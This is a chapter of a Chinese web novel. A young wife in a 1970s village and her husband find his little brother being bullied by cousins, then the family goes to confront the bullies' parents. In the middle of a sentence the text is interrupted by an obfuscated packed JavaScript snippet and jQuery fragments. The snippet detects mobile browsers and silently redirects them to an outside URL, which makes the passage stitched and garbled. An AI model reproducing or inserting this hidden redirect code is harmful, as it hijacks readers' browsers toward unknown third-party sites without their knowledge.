两人走出院子,怕阳坡真出啥事,脚程都放快不少。
孟星灿知道阳坡平日的拾粪路线,这会儿就带着温冬阳沿着那条路走。
边走边留意四周的动静,很快就在经过一处坡地时听到了喧闹声。
是一群孩子的声音,清清脆脆的,一边哄笑一边喊口号:
“屎巴牛,吃粪球,抱着粪球翻跟头!”
“屎巴牛,推粪球,一推推到沟里头!”
“屎巴牛,滚粪球,滚的就是孟阳坡的头!”
听到最后一句,温冬阳跟孟星灿眼神齐齐变了,对视一眼,赶紧往那边跑。
坡上,一个黑胖的小男孩得意洋洋,统领着一群豆芽菜小孩反复喊刚才那几句顺口溜。
再一看,孟阳坡正闷闷地坐在地上,一只手捂着脚腕。
他拾粪的筐子横着躺在不远处,粪似乎撒了,有个小男孩正帮他收拾。
许是嫌粪脏,那群喊话的小孩离他们很是有些距离。
那领头的小黑胖子眼尖,一看到孟星灿他俩气势汹汹地过来,立马就招呼周围的同伙跑了。
因为担心阳坡的情况,两个大人也没去追,只快步往阳坡那里走。
中途,孟星灿低声对温冬阳说:“那个是二叔家的小儿子,名字叫孟宏伟,今年九岁,是孟宏志的亲弟弟。”
人跑了也没事,知道是谁,就能事后算账。
温冬阳听完暗想,这年代食物紧缺,难出胖子,城里都难,更别说村里。
能长那些黑肉,孟宏伟在家应该很受宠。算年龄,比阳坡还小一岁,体格看着却像是大了好几岁。
要说这孟老二家,真是有些难评。那俩老的自不必说,养的大儿子孟宏志虚伪,小儿子孟宏伟又蛮横。
幸亏她退亲了,不然真到那家去,就算有系统也属于天崩开局。
两人转眼走到阳坡跟前。
温冬阳上前仔细查看小孩的情况。
阳坡任她检查,挤出了一个笑脸:“对不起,让家里担心了。我没啥大事,就是把脚扭了一下,不过不严重。”
他刚休息一会儿,现在感觉好多了,于是就挣扎着要起身:“咱们快回吧,妈她们是不是还等咱吃饭呢?”
温冬阳仔细看过,确认阳坡没啥大碍。身上没别的伤,确实是只崴了脚,不严重。等回家喝点掺了灵泉的水,再休养一下应该就能好。
但直接这么走回去肯定不行,温冬阳把人按回地上,转头看向孟星灿,眼神带着几分暗示。
孟星灿却没注意到她的暗示,他正眯眼打量在场的另一个小男孩。
这是孔木匠的儿子,名叫孔山丘,比阳坡还小,今年七岁。不过孔木匠家条件好点,山丘跟阳坡的体格倒差不多。
刚才阳坡扭脚时没站稳,粪筐子掉地上,里面装的东西也全洒出来。孔山丘见状,也不嫌脏,帮他把粪全部捡回筐里,这会儿头脸都弄得灰扑扑。
见孟星灿一直盯着自己看,孔山丘有些不好意思,悄悄把脏手藏在身后,叫了一声”哥“。
孟星灿闻言露出一个和煦的笑容:“山丘真是好孩子,跟你爹一样热心肠,多谢你帮阳坡收拾筐子,你的恩情哥记下了,回头有空来我们家玩!对了,刚才发生了啥事,你能给哥说说不?”
孔山丘点点头。
他性子腼腆,声音不大,但口齿伶俐:“我今天给我爹送饭去了,回来就撞见孟宏志带着狗娃他们欺负阳坡。”
听到这里,阳坡忽然插话道:“也不算欺负,堂弟是跟我闹着玩的......”
同在村里,孩子间有摩擦冲突实属正常。家里的大人都忙,阳坡不想他们因为自己的小事忧心。
可阳坡话还没说完,就被孟星灿的眼神瞪回了嗓子眼里,他瞬间哑声。
孟星灿转头,继续和蔼可亲道:“山丘,你继续说。”
孔山丘咳了一声:“孟宏志他们绝不是闹着玩,就是在欺负人。我都听见了,孟宏志问阳坡,筐上绑的绳子是哪来的,阳坡不回话,孟宏志就说他是偷的,还上手抢。”
“他长得壮,抢的时候就把阳坡推倒了,拾粪筐子也到摔地上。孟宏志嫌筐子脏了,才没继续抢,又站在不远处说阳坡是屎巴牛。”
屎巴牛就是方言里的屎壳郎。
温冬阳听完,狠狠皱起眉头。
在这个年代,小孩子之间经常打闹,霸凌这词还不常见,但阳坡显然就是被孟宏志他们霸凌了。年龄有时并不能说明什么,她以前做社工时接触过不少校园霸凌的案例,知道孩子间的恶意能发展到什么地步。
这事绝不能就这么算了。
温冬阳转头去看孟星灿的反应。
眼下,她是阳坡刚过门的嫂子,又跟孟老二家有过退亲的官司,要起正面冲突的话,她并不是最佳人选。
反倒是孟星灿这个名义上的亲哥,以及家里几位亲属更适合出这个头。据她观察,家里的几个顶梁柱应该都不是忍气吞声的性格,要是知道这件事,肯定会从孟老二那边找回场子。
还是先看看孟家人怎么做,她再查漏补缺。
孟星灿脸色不变,还是一副笑模样,对孔山丘说:“行,哥心里有数了。对了,这会儿正好是饭点,山丘你给你爹送饭,自己吃了没?没吃的话,带你妹子来哥家吃饭去。”
孔山丘赶忙摆手:“不用了哥,我俩吃完才给我爹送过去的,你们也赶紧回去吃饭吧,我也回家看我妹子去!”
孟星灿:“哎,行,那你慢点走,有啥事随时过来找哥哥。”
两家人不在一边住,一个在村东头,一个在村西头,孔山丘就先走了。
孟星灿悠悠地看了阳坡一眼,蹲下身:“上来。”
这是要背他回去。
回去的路说短不短,孟星灿身板看着也不甚健硕,阳坡便支吾道:“哥,我还能走......”
孟星灿冷笑一声:“等你走回去,家里的韭菜都长出来两茬了。你不急着吃饭我还急呢。”
说着,又看向温冬阳,“他嫂子,你急不急?”
温冬阳配合地点头:“很急。”
阳坡果然不说话了,乖乖趴到孟星灿背上去,温冬阳走去旁边帮他拿粪筐。
阳坡见状又争取道:“嫂子,要不还是我背着吧,我衣服已经脏了,别给你衣服也弄脏。”
孟星灿又哼一声:“行,让你背着,一会儿你往前一拱,屎篓子直接就扣你哥头上。”
阳坡急得抓耳挠腮:“哎呀,我不是那个意思!”
温冬阳笑了一声,将筐子的两根背带攥到一只手心里拎着。她这两天喝了几滴灵泉,身体已经完全康复了,且浑身是劲,力气增长不少。
对阳坡来说沉重的筐子,在她手里轻松拎着,跟纸糊的似的,也不会弄脏衣服,叫阳坡看得目瞪口呆。
两大驮着一小就这么往家走。
孟星灿看着高瘦,身体素质居然还不错,一路背着人走回去,呼吸都没怎么变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749424|208542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。当然,可能也是阳坡过于瘦小。
走了一会儿,温冬阳问孟星灿:“阳坡这事,你有啥打算?”
孟星灿阴测测一笑:“你一会儿就知道了。”
眼下正是中午,陆陆续续有社员回家吃饭,路上人不少。
孟星灿果然没骗人,从踏上有人的地方起,他那抹了蜜的小嘴就开张了:
“婶子,你问我们家阳坡啊?哦,没啥事,就是脚崴了,哎,我们家阳坡体格就是有点弱,不像我二叔家的宏伟小子,那叫一个结实,在家估计没少吃啊!诶,我们家日子难过啊,欠一屁股债,还是我二叔家里有本事,手头估计有不少余钱!说来我二叔那人也仗义,谁要借钱,他估计都能给,要不说他人缘好呢。”
“说到宏伟小子,我们刚还碰见他了,看见我们阳坡的两根布条都想抢。但也不能怪孩子,孩子懂啥嘛,闹着玩的。要我说,宏伟这霸道到底还是随了我二婶。我昨天路过晒粮的地方看了一眼,好家伙,我二婶家的粮必须晒在最中间,占最大的一片地,别人家的都得靠边放!嗨,得亏是咱们这年头没地主了,我二婶占地的架势简直跟地主似的,哎哟,我这破嘴胡说什么,开个玩笑大伙别当真哈!”
“诶对了,锦霞婶子,上次我二叔他家请你做席面,问你借盆,你借了没?哦,借了?幸亏你借了!今天宏伟小子,抢我们阳坡的东西,抢不到就说他是偷的,你那盆要是没借,说不准也被他那张嘴给偷走了呢!哈哈!”
别说,孟星灿叨叨半天还真挺有效果。
就走回家的这一路上,温冬阳已经听说有三户人找孟收获借钱去了。下午保不准还有人家去找他家理论,掰扯那个晒粮占地的事。
孟星灿使的这招有点像那啥啥沾脚面,不咬人但膈应人。
很快回到家,时间还早。
家里人也没先吃,都等着他们回来一起吃。刚那锅疙瘩汤还是温的,这会儿就一人分了一碗。
见阳坡是叫孟星灿背回来的,大伙都吓坏了,围过来把人从头到脚翻看了几遍。
看完,倒是没啥大伤,但陈芳折语气还是不好:“咋回事?”
孟星灿就把事情说了。
陈芳折一听,直接把筷子拍断在桌子上:“狗日的!我早就说你二叔家一窝哈怂,大砍头的养出一窝小砍头的,日八欻的货!”
孟月行也拍了下桌子:“这事不能忍,咱得过去给我弟讨个公道!”
陈芳折深吸一口气:“别急,都先吃饭,吃饱了才有力气干大事!等会儿看我不骂死那窝怂,丧捻的东西,眼皮子浅的连咱家粪篓子都抢,抢着吃粪去!”
于是一群人狼吞虎咽地吃饭,为照顾病号,温冬阳还把自己碗里的蛋分了半个给阳坡。
吃完,离上工还有一会儿,来得及。
陈芳折点兵点将,叫上孟月行和孟星灿,后者再背上阳坡这个苦主,搭一个助阵用的温冬阳,几人浩浩荡荡走向孟收获家。
刚在院子门口站稳,陈芳折就扯着嗓子惊天一声骂:“孟获,张兰英,瞧你两个瓷锤教出的小哈怂,我看你俩是扛着铁锄头上坟包,修你先人呢!”
孟家院子里正热闹,不少人正跟孟收获借钱,听见外面的动静纷纷有眼色地说改天再来。
那张兰英也不是好惹的,一听外面陈芳折骂这么脏,撸着袖子就出来了:“大中午的,你家是刚吃完饭还是刚吃完粪呐?站我屋瞎喷撒么!我看你是屎巴牛翻跟头,一圈圈的,就显你尻子眼黑咧!”